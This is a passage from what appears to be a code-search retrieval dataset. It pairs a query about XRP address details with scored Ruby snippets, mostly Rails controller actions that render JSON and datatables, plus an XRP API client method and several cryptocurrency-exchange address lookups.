"score": "0.5893668",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: TurnoDatatable.new(view_context, { query: Turno.all }) }\n end\n end",
"title": ""
},
{
"docid": "7be9fc09cd7e7a0549d63385219fcfd5",
"score": "0.58749104",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: TipoDocumentoDatatable.new(view_context, { query: TipoDocumento.all.order(:codigo) }) }\n end\n end",
"title": ""
},
{
"docid": "8a776f943d4abec943aa269aa2b1dae4",
"score": "0.5806299",
"text": "def index\n @dis_additive_frequencies = DisAdditiveFrequency.all\n respond_to do |format|\n format.html\n format.json { render json:DisAdditiveFrequencieDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "44d38ae91c0aa5f4ca3fd6b10ef9b7ca",
"score": "0.57954705",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: UnpaidDebtsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "95a16d41e85dc88d0ff9a2a65879f1a6",
"score": "0.57942367",
"text": "def index\n @wbr_data = WbrDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wbr_data }\n end\n end",
"title": ""
},
{
"docid": "502bc0a8986602a6e3fa8adf46e2fbf0",
"score": "0.5790456",
"text": "def index\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @datasets }\n end\n end",
"title": ""
},
{
"docid": "6739541c70091392dabef6849cb5f46e",
"score": "0.57892144",
"text": "def index\n @request_data = RequestDatum.all\n end",
"title": ""
},
{
"docid": "4e6d85bdc8fddbde857a8386f1ece28c",
"score": "0.5780555",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: CompaniesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "9f2648f7db0c981f465922f23c67b78f",
"score": "0.57756394",
"text": "def widget_data\n widget = Widget.find(params[:widget_id])\n data = widget.get_filtered_dataset false, 10000\n render json: {id: widget.id,\n visualization: widget.visualization,\n name: widget.name,\n description: widget.description,\n data: data['data']}.to_json\n end",
"title": ""
},
{
"docid": "302179a66769e600d3671658ccf56d06",
"score": "0.5775179",
"text": "def index\n #@assets = Asset.all\n respond_to do |format|\n format.html\n format.json { render json: AssetsDatatable.new(view_context) }\n end \n end",
"title": ""
},
{
"docid": "14569b4037cd5236ffa176941bf82332",
"score": "0.5768521",
"text": "def index\n # @friends_attachments = FriendsAttachment.all\n respond_to do |format|\n format.html\n format.js { render json: FriendsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "13ba6cf09a249b8a03648e5d015ae230",
"score": "0.5766041",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: InvoiceDrugsDatatable.new(params, view_context: view_context) }\n end\n end",
"title": ""
},
{
"docid": "6deb75c3130acd8b7ef2ce3038fbf23e",
"score": "0.57580566",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: ItemsDatatable.new(view_context, current_user) }\n end\n end",
"title": ""
},
{
"docid": "776310ed778b08bcb26c867349510348",
"score": "0.5748828",
"text": "def index\n @data_points = DataPoint.recent # cached_recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_points }\n end\n end",
"title": ""
},
{
"docid": "4b2abdbd54c65a592a33c002d1c0869b",
"score": "0.5748612",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: PostsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "42668fab98ddaeb08a9298b99bc27ec6",
"score": "0.57441497",
"text": "def data\n @gesturedata = Gesture.select('data').where(\"id =?\" , params[:id])\n render json: @gesturedata[0][:data]\n end",
"title": ""
},
{
"docid": "c074cd7beccd933bd3a5068f8248bd44",
"score": "0.5744032",
"text": "def index\n respond_to do |format|\n format.html {\n @recent_objects = DataAttribute.where(project_id: sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n }\n format.json {\n @data_attributes = Queries::DataAttribute::Filter.new(params).all\n .page(params[:page])\n .per(params[:per])\n }\n end\n end",
"title": ""
},
{
"docid": "8aef3a0ef845e133eb7384edf52a6039",
"score": "0.5743963",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: ReimbursementsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "5cfa86772738d8cfec057892573f19fc",
"score": "0.5743368",
"text": "def get_all\n @data\n end",
"title": ""
},
{
"docid": "25469a9ddebd3e6c651bdf382e9d59bb",
"score": "0.574218",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: PagesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "ab76207fe623c0cc6f99200c87d14b62",
"score": "0.5736141",
"text": "def index\n authorize! :read, Issue\n\n respond_to do |format|\n format.html\n format.js\n format.json { render json: IssuesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "7146755a97db7a565b7c06e6d3de79a4",
"score": "0.5721127",
"text": "def show\n @dashboard = Dashboard.find(params[:id])\n @chart_selectors_data = {}\n \n tables = [] \n (ActiveRecord::RdsDb.connection.tables - ['schema_migrations']).each do |table_name|\n next unless ar_class_exist?(table_name)\n \n table = {\n name: table_name.titleize,\n value: table_name,\n dimensions: [],\n metrics: [],\n dates: []\n }\n \n table_class = table_name.classify.constantize\n table_class.columns.each do |column|\n next unless [:string, :integer, :datetime].include?(column.type)\n \n # TODO: Dimension can be either string field or belongs_to association\n \n if [:string, :integer].include?(column.type)\n table[:dimensions] << prepare_column(column)\n table[:metrics] << prepare_column(column) \n elsif column.type == :datetime\n table[:dates] << prepare_column(column)\n end\n \n end \n \n tables << table \n end\n \n \n \n @chart_selectors_data[:tables] = tables\n @dashboard_modules = @dashboard.dashboard_modules.order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dashboard }\n end\n end",
"title": ""
},
{
"docid": "f973f9091544145224235a7db1a46f1c",
"score": "0.5713364",
"text": "def index\n # @transacciones = Transaccione.all\n respond_to do |format|\n format.html\n format.json { render json: TransaccionesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "6e265881721f066431b6c35d3e7226b3",
"score": "0.57095134",
"text": "def index\n respond_to do |format|\n format.html\n format.json {render json: AssessmentsDatatable.new(view_context)}\n end\n end",
"title": ""
},
{
"docid": "bfbe17aa0eddb29beb4d2f12f2d66cdc",
"score": "0.570675",
"text": "def show_row\n @dataset = Dataset.find(params[:dataset_id])\n if params[:row_id].gsub(/[0-9]/,\"\").length == 0 #il n'y a que des chiffres\n @data = ActiveRecord::Base.connection.select_one(\"SELECT * from dataset_#{@dataset.id} WHERE id = #{params[:row_id]} LIMIT 1\")\n render :inline => @data.to_json \n else\n render :text => 'Invalid parameters'\n end\n end",
"title": ""
},
{
"docid": "73e9af8c9f7633021e7d9c1b7327ec3a",
"score": "0.57006544",
"text": "def show\n @contents = DataTable.all\n\n \n end",
"title": ""
},
{
"docid": "046c6fc89aa433615ffa4fc9f38774f4",
"score": "0.5693281",
"text": "def index\n @content_data = ContentDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_data }\n end\n end",
"title": ""
},
{
"docid": "38fe27aaeced31dd04b813c68cf42f0c",
"score": "0.5689074",
"text": "def index\n @data_items = DataItem.all\n end",
"title": ""
},
{
"docid": "66c617e7c9c98bb21bedb3dd9b88f306",
"score": "0.5683623",
"text": "def index\n\t\t@jquery = InitHelper.new( gon )\n\t\t@data_sets = DataSet.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @data_sets }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "19a1d51171ee1c663d1aedcead7edda8",
"score": "0.56650096",
"text": "def index\n # @documents = Document.all.with_attached_images\n respond_to do |format|\n format.html\n format.json { render json: DocumentDatatable.new(params, view_context: view_context) }\n end\n end",
"title": ""
},
{
"docid": "a36ec68c88325c56fc8ac453a87f58c6",
"score": "0.56570876",
"text": "def index\n #@communications = Communication.all\n @subjects = Subject.where(:id=>0)\n respond_to do |format|\n format.html\n format.json do\n \n render json: ::CommunicationDatatable.new(view_context)\n \n end\n end\n end",
"title": ""
},
{
"docid": "c23d28380a86a138b3d11735c9e60654",
"score": "0.5656969",
"text": "def index\n respond_to do |format|\n # @TODO zrobic cos by przy formacie html nie renderował się javascript z datatable\n format.html # { create_obj(@obj_class.page( params[:page] ) ) }\n format.json { render json: ::CommonsDatatable.new(view_context, @obj_class) }\n end\n end",
"title": ""
},
{
"docid": "1f3323b1dab6a09de6f3477594535b2f",
"score": "0.5653302",
"text": "def index\n @timetables = Timetable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timetables }\n end\n end",
"title": ""
},
{
"docid": "dba0979bd6f920f22c64d0204f4f355b",
"score": "0.5651223",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: ItemStoresDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "f07b26a15d0b2af0bb1c3593890f9019",
"score": "0.5650577",
"text": "def index\n @journal_entries = JournalEntry.desc(:entry_date).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n # [{\"name\":\"temperature\",\"type\":\"areaspline\",\"data\":[[1327213807000,0],[1327214100000,0],[1327214403000,0],[1327214700000,0],[1327215000000,24],[1327215301000,59.8],[1327215603000,95.4],[1327215901000,120.8],[1327216202000,131.6]]}]\n format.json { render json: JournalEntry.all.as_json(only: [:purity, :fitness, :devotional, :chrissy, :relational, :discipline, :facepicking, :stress]) }\n end\n end",
"title": ""
},
{
"docid": "a600493f93ccf148af84ad09df9a2cf0",
"score": "0.56438386",
"text": "def resourceType\n 'DataElement'\n end",
"title": ""
},
{
"docid": "a2290abb3737c50e9b252971a5af89d5",
"score": "0.56321967",
"text": "def index\n @sub_data_tables = SubDataTable.all\n end",
"title": ""
},
{
"docid": "0152d0fc4a3b1d4c6086f16663a8091d",
"score": "0.56281656",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json:DisAlcoholInteractionDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "9440a27e2cdda19b8ffbd12376c65e58",
"score": "0.56252706",
"text": "def index\n render json: WeatherDatum.all\n end",
"title": ""
},
{
"docid": "cda896457f4a2f3ea9b9e67aebb46253",
"score": "0.5624632",
"text": "def destroy\n @datatable_dataelement = DatatableDataelement.find(params[:id])\n @datatable_dataelement.destroy\n\n respond_to do |format|\n format.html { redirect_to datatable_dataelements_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519198608870334ec6a6d2e8eca03bec",
"score": "0.56150764",
"text": "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"title": ""
},
{
"docid": "3af875d53e02515009738d879afdc06f",
"score": "0.56116533",
"text": "def index\n\t\t#@admin_orders = Admin::Order.where(:status => [1,2,3])\n\n\t\t#logger.info params.to_yaml\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: OrdersDatatable.new(view_context) }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9468d9a05599385b297715ccd0101cdc",
"score": "0.5609056",
"text": "def index\n authorize! :view_all, Visit\n respond_to do |format|\n format.html\n format.json { render json: VisitDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "e13b3a5e6225ced15fdced76940020d9",
"score": "0.5608017",
"text": "def index\n @dataunits = Dataunit.all\n end",
"title": ""
},
{
"docid": "595cfbf8800f5b7c45afdc0990bd01c7",
"score": "0.56079996",
"text": "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end",
"title": ""
},
{
"docid": "3d77a333a1fd9d6e9fc00f0c9a950900",
"score": "0.5607901",
"text": "def index\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: BuildObjectsDatatable.new(view_context, :public_objects) }\n end\n end",
"title": ""
},
{
"docid": "df641e1bcd393e93a648b4ca5f12a0c9",
"score": "0.56043434",
"text": "def index\n @dbh_measurements = DbhMeasurement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dbh_measurements }\n end\n end",
"title": ""
},
{
"docid": "8203b8fe9c52e5a8f8074ccb26d2a28a",
"score": "0.5587226",
"text": "def index\n respond_to do |format|\n format.html { }\n format.json { render json: CaptureDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "10711f1736bdd206c875e3e6ab9ce202",
"score": "0.5582261",
"text": "def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => SelecaoAdmin::EnrolledsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "c31a4f57d8f657157cb5b6453af9e7fe",
"score": "0.55772144",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: CustomersDatatable.new(view_context) }\n end\n @customers = Customer.all\n end",
"title": ""
},
{
"docid": "cc1b33529c0d379789250970f3345238",
"score": "0.5577063",
"text": "def index\n @page_title = \"Problem List\"\n respond_to do |format|\n format.html\n format.json {\n render json: ProblemsDatatable.new(view_context)\n }\n end\n end",
"title": ""
},
{
"docid": "1d28398b4d22577c8ebb4806d1c4f2fd",
"score": "0.5570627",
"text": "def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end",
"title": ""
},
{
"docid": "5c3688c9187d743ff8e372fe404a08f1",
"score": "0.5567022",
"text": "def index\n @physical_data_products = PhysicalDataProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_data_products }\n end\n end",
"title": ""
},
{
"docid": "2b76d7ec33849d836453a77ef93a4435",
"score": "0.55658054",
"text": "def index\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_sets = chart.data_sets.all\n\n respond_with(data_sets) do |format|\n \t#response string in specified format\n format.json { render json: { success: true, data_sets: data_sets } }\n end\n end",
"title": ""
},
{
"docid": "77de4ccb2b162ee4b1099a8609fcdabc",
"score": "0.556192",
"text": "def index\n add_breadcrumb :list\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: VisitsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "804a3401d21e5b5b7ebcb1406cf506fa",
"score": "0.55567694",
"text": "def get_full_data(data)\n case @client.api_version\n when \"1.2\"\n # in this version returned id=>{...}\n result = @client.api_request(:method => \"template.get\", :params => {:filter => data, :output => \"extend\"})\n result.empty? ? [] : result.values \n else\n @client.api_request(:method => \"template.get\", :params => {:filter => data, :output => \"extend\"})\n end\n end",
"title": ""
},
{
"docid": "c5e2dedc8e131506057ad74776d56333",
"score": "0.5556612",
"text": "def index\n self.refresh if params[:refresh]\n respond_to do |format|\n format.html\n format.json { render json: RapportsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "837b742d807cd579e63a2479df6b0f32",
"score": "0.5553502",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: SituacionRevistaDatatable.new(view_context, { query: SituacionRevistum.all.order(:codigo) }) }\n end\n end",
"title": ""
},
{
"docid": "dd3b5d8b2d1a125a343ef616c39fe851",
"score": "0.554232",
"text": "def index\n @infrastructures = getmydata(\"Infrastructure\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @infrastructures }\n end\n end",
"title": ""
},
{
"docid": "ce2a3331fafffbd976261416e108ab5d",
"score": "0.5534261",
"text": "def index\n @students = Student.all\n respond_to do |format|\n format.html\n format.json {render json: StudentsDatatable.new(view_context)}\n end\n end",
"title": ""
},
{
"docid": "ff640d8f08d5e68525d46dde167714b4",
"score": "0.5532504",
"text": "def show\n @profilepage = Profilepage.find(params[:id])\n @dataelements = @profilepage.dataelements.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profilepage }\n end\n end",
"title": ""
},
{
"docid": "40d4d0393c7973c830eedd23a4d41e56",
"score": "0.55308086",
"text": "def index\n @datatable = ComplainsDatatable.new view_context\n end",
"title": ""
},
{
"docid": "0de35831f7d677c5b200daa818ca23f9",
"score": "0.5526464",
"text": "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"title": ""
},
{
"docid": "e79035d1082fb230192f3e38dde3fc95",
"score": "0.5516084",
"text": "def index\n #@mailtemplates = Mailtemplate.all\n respond_to do |format|\n format.html\n format.json do\n render json: ::MailtemplateDatatable.new(view_context)\n \n end\n end\n end",
"title": ""
},
{
"docid": "043e4ef9db27788ac269e5e3effba9a5",
"score": "0.5508238",
"text": "def index\n data = get_index_data\n @dayoffs = data.page(params[:current_page]).per(PER_PAGE)\n respond_to do |format|\n format.html {\n render \"dashboards/admin_dashboard\"\n }\n\n format.json {\n render json: {\n total_page: @data.total_page,\n data: ActiveModel::SerializableResource.new(@dayoffs, each_serializer: AdminDayoffSerializer)\n }, status: :ok\n }\n end\n end",
"title": ""
},
{
"docid": "01929ca9963c10dd200e103805a0fa5e",
"score": "0.55006826",
"text": "def index\n # @cd = DisDatasource.all\n a = DisDatasource.paginate(:page => params[:page], :per_page => 10).order(:id)\n rowcount = a.count\n a = a.as_json\n rows = [{\"rows\" => rowcount}]\n result = {\"raw\" => a ,\"count\" => rows}\n # n = c.to_a << @m\n respond_with result\n end",
"title": ""
},
{
"docid": "7b28d2d33b069d5e8005a14a5a656fc4",
"score": "0.5491016",
"text": "def new\n @dataelement = Dataelement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataelement }\n end\n end",
"title": ""
},
{
"docid": "348953ac3c2d44b4515db53eb4dc70cb",
"score": "0.5466554",
"text": "def data\r\n tables_ret = []\r\n tables.list.each do |name, table|\r\n tables_ret << table.data\r\n end\r\n \r\n return {\r\n \"tables\" => tables_ret\r\n }\r\n end",
"title": ""
},
{
"docid": "ba04b064af185e1a93eda3fa91fa5777",
"score": "0.54662985",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dataset }\n end\n end",
"title": ""
},
{
"docid": "83a92316b002fdc9bbfc95b0ea2a2fb9",
"score": "0.5462792",
"text": "def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unit_of_measures }\n format.js\n end\n end",
"title": ""
},
{
"docid": "43a8fd97551c8709d5d50d72fd47288b",
"score": "0.54624784",
"text": "def index\n @live_data = LiveDatum.all\n end",
"title": ""
},
{
"docid": "aea72e46fb0ea648b9435d01089b6138",
"score": "0.5458931",
"text": "def index\n @data_providers = DataProvider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_providers }\n end\n end",
"title": ""
},
{
"docid": "ed1249e3e42b4a084b74079212c5236b",
"score": "0.5452378",
"text": "def index\n @user_data = UserDatum.all\n end",
"title": ""
},
{
"docid": "e1200f88d5e67fcf7a70e63f95e3729d",
"score": "0.5451663",
"text": "def index\n authorize! :read, PeerReview\n\n respond_to do |format|\n format.html\n format.js\n format.json { render json: PeerReviewsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "8330239346eb17e8088d5d5de030830b",
"score": "0.5450612",
"text": "def get_measurements\n render json: @data_source.measurements\n end",
"title": ""
},
{
"docid": "a09e0336c12ee63374b9c053dd10d98b",
"score": "0.5447241",
"text": "def index\n @djs = Dj.all\n end",
"title": ""
}
] |
8eb64a3d7de87be4e20eb2de8237335b | Get XRP (Ripple) Address Details Through this endpoint the customer can receive basic information about a given XRP address based on confirmed/synced blocks only. In the case where there are any incoming or outgoing unconfirmed transactions for the specific address, they will not be counted or calculated here. Since XRP is a different blockchain than Bitcoin and Ethereum, it isn't unified. | [
{
"docid": "3ec2bfc823fa9b802b19a2a7f1a82636",
"score": "0.6565936",
"text": "def get_xrp__ripple_address_details(network, address, opts = {})\n data, _status_code, _headers = get_xrp__ripple_address_details_with_http_info(network, address, opts)\n data\n end",
"title": ""
}
] | [
{
"docid": "d8a800920bbce29f2c59cd28d15c72b8",
"score": "0.6257039",
"text": "def address\n self.response = self.class.get(\"#{patron_url}/patronInformation/address\")\n raise_error_if(\"Error getting patron address through Aleph REST APIs.\") {\n (response.parsed_response[\"get_pat_adrs\"].nil? or response.parsed_response[\"get_pat_adrs\"][\"address_information\"].nil?)\n }\n response.parsed_response[\"get_pat_adrs\"][\"address_information\"]\n end",
"title": ""
},
{
"docid": "8ca6c23f5c19d6ac6ea1d2df47a6eeef",
"score": "0.61979043",
"text": "def get_xrp__ripple_address_details_with_http_info(network, address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: XRPRippleApi.get_xrp__ripple_address_details ...'\n end\n # verify the required parameter 'network' is set\n if @api_client.config.client_side_validation && network.nil?\n fail ArgumentError, \"Missing the required parameter 'network' when calling XRPRippleApi.get_xrp__ripple_address_details\"\n end\n # verify enum value\n allowable_values = [\"mainnet\", \"testnet\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(network)\n fail ArgumentError, \"invalid value for \\\"network\\\", must be one of #{allowable_values}\"\n end\n # verify the required parameter 'address' is set\n if @api_client.config.client_side_validation && address.nil?\n fail ArgumentError, \"Missing the required parameter 'address' when calling XRPRippleApi.get_xrp__ripple_address_details\"\n end\n # resource path\n local_var_path = '/blockchain-data/xrp-specific/{network}/addresses/{address}'.sub('{' + 'network' + '}', CGI.escape(network.to_s)).sub('{' + 'address' + '}', CGI.escape(address.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'context'] = opts[:'context'] if !opts[:'context'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetXRPRippleAddressDetailsR'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['ApiKey']\n\n new_options = opts.merge(\n :operation => :\"XRPRippleApi.get_xrp__ripple_address_details\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: XRPRippleApi#get_xrp__ripple_address_details\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "a01c766b016dff9a98126900f37f1dd1",
"score": "0.61603445",
"text": "def ripple_address\n private_request 'ripple_withdrawal'\n end",
"title": ""
},
{
"docid": "e74f2d7afe87a965b89141b0e979e36a",
"score": "0.6089769",
"text": "def residence_address\n return @residence_address\n end",
"title": ""
},
{
"docid": "b832b35343da959c73f6820b693826e0",
"score": "0.6083493",
"text": "def address\n self.class.parent.normalize_result_value(result.reverseLookupByPhoneNumberResult.serviceResult.address) if result && result.reverseLookupByPhoneNumberResult.serviceResult.methods.include?('address')\n end",
"title": ""
},
{
"docid": "f6b0e7a67502d652b9558f10d8fb7cd6",
"score": "0.6066446",
"text": "def address\n\tvalues = CGI::escape(\"nonce=#{Time.now.to_i}\")\n\n\tsign = hmac_512(values,ENV['ANXPRO_SECRET'])\n\theaders = {:content_type => \"application/x-www-form-urlencoded\",\n\t:rest_key => \"\\u003C#{ENV['ANXPRO_KEY']}\\u003E\",\n\t:rest_sign => \"\\u003C#{sign}\\u003E\"}\n\tresponse = RestClient.post \"https://anxpro.com/api/2/money/BTC/send_simple\", values, headers\n\tr_json = JSON.parse(response)\n\n\tif (response[\"response\"] == \"success\")\n\t btc_address = response[\"result\"][\"data\"][\"addr\"]\n else\n\t btc_address = \"\"\n\tend\n\n\treturn btc_address\n\n end",
"title": ""
},
{
"docid": "8570122f5a66c9447b8a9811eb9919ea",
"score": "0.60125124",
"text": "def address\n post('/api/0/btcAddress.php')['addr']\n end",
"title": ""
},
{
"docid": "7fd7ea7f4247e422c378a87618a3f127",
"score": "0.59617615",
"text": "def address\n address_record.address_line_1\n end",
"title": ""
},
{
"docid": "0eca12045d1b9e91260a0a515272f784",
"score": "0.5942742",
"text": "def address\n\n tonce=DateTime.now.strftime('%Q')\n id = 1\n values = (\"tonce=#{tonce}&\"+\n\t \"accesskey=#{ENV['LAKEBTC_ACCESS_KEY']}&\"+\n\t\t \"requestmethod=post&\"+\n\t\t \"id=#{id}&\"+\n\t\t \"method=getAccountInfo&\"+\n\t\t \"params=\")\n\tsign = hmac_512(values)\n\t\t\t\t\t\t\t\n headers = {'Json-Rpc-Tonce' => tonce,\n\t\t 'Authorization'=> \"Basic #{sign}\"}\n\tresponse = RestClient.post(\"https://www.LakeBTC.com/api_v1\", {params:[],method:\"getAccountInfo\",id:id}.to_json, headers)\n\tr_json = JSON.parse(response)\n\tif (r_json.keys.include?(\"profile\"))\n btc_address = r_json[\"profile\"][\"btc_deposit_addres\"]\n\telse\n\t btc_address = \"\"\n\tend\n\n\treturn btc_address\n end",
"title": ""
},
{
"docid": "2a0071f0f6624d0df18ef99c179d1a7a",
"score": "0.58651537",
"text": "def rcpt_address\n return @children['rcpt-address'][:value]\n end",
"title": ""
},
{
"docid": "5f6f85e0bee825dfb39618bcd4265a43",
"score": "0.581434",
"text": "def address\n return poi.address unless poi.nil?\n return place.address unless place.nil?\n addr = get_address\n return addr.blank? ? raw_address : addr \n end",
"title": ""
},
{
"docid": "04d5a9657a8c0fd02b8b1d90822e18d9",
"score": "0.5811894",
"text": "def parse_address_information(xml)\n if @options[:debug]\n RAILS_DEFAULT_LOGGER.debug \"--- Response ---\"\n RAILS_DEFAULT_LOGGER.debug xml\n end\n i = 0\n addresses = []\n doc = Nokogiri::XML(xml)\n incomplete_address = nil\n if error = doc.at_css(\"Error\")\n msg = error.at_css(\"Description\").inner_text\n if msg =~ /multiple addresses were found/i\n # we need an apartment, suite, or box number to really find the address\n incomplete_address = true\n elsif msg =~ /address not found|invalid/i\n raise AddressNotFoundError\n else\n raise Error, \"Error during address verification: '#{msg}'\"\n end\n end\n doc.css(\"Address\").each_with_index do |address, i|\n loc = Location.new\n # Check if there was an error in an address element\n if error = address.at_css(\"Error\")\n msg = error.at_css(\"Description\").inner_text\n if incomplete_address || msg =~ /multiple addresses were found/i\n loc.incomplete = true\n else\n raise Error, \"Error during address verification for address ##{i}: '#{msg}'\"\n end\n end\n address.children.each do |elem| \n name = elem.name\n next if name == 'ReturnText' || name == 'Error'\n # address 1 and address 2 are actually switched in the USPS API for some reason\n # so we need to unswitch them before storing\n if name == \"Address1\"\n name = \"Address2\"\n elsif name == \"Address2\"\n name = \"Address1\"\n end\n loc.send(\"#{name.downcase}=\", elem.inner_text) unless elem.inner_text.blank?\n end\n if incomplete_address || (t = address.at_css(\"ReturnText\") and t.inner_text =~ /(more information is needed|multiple addresses were found)/i)\n # we need an apartment, suite, or box number to really find the address\n loc.incomplete = true\n end\n addresses << loc\n end\n return addresses\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793762",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "8f062b620629a3ecef7284b8db4127e5",
"score": "0.5793719",
"text": "def address\n @address\n end",
"title": ""
},
{
"docid": "0e2c9453d62bea56731f52a532a554bb",
"score": "0.57921207",
"text": "def get_deposit_address(timestamp=nil)\n mash = get '/account/depositAddress', timestamp\n mash.address\n end",
"title": ""
},
{
"docid": "62c0f7d5e2395521abf72eb941e42ece",
"score": "0.5766728",
"text": "def address\n result = lib.list_address(self)\n result['return']\n end",
"title": ""
},
{
"docid": "67c2d3742210dc4e7fd955b5d2d00d11",
"score": "0.5765078",
"text": "def ads_repay_address\n wizard_address_step(REPAYMENT_STEPS, address_attribute: :rrep_ads_sold_address)\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "087a7d26ffa5bc4cd3db2e781bff11e6",
"score": "0.5758572",
"text": "def address\n return @address\n end",
"title": ""
},
{
"docid": "491282feed8691004abf8d15a38cc018",
"score": "0.57500726",
"text": "def address\n return unless identification\n\n identification.address\n end",
"title": ""
},
{
"docid": "8ff9c426e6105dbd00a02d14bd70b9ca",
"score": "0.573535",
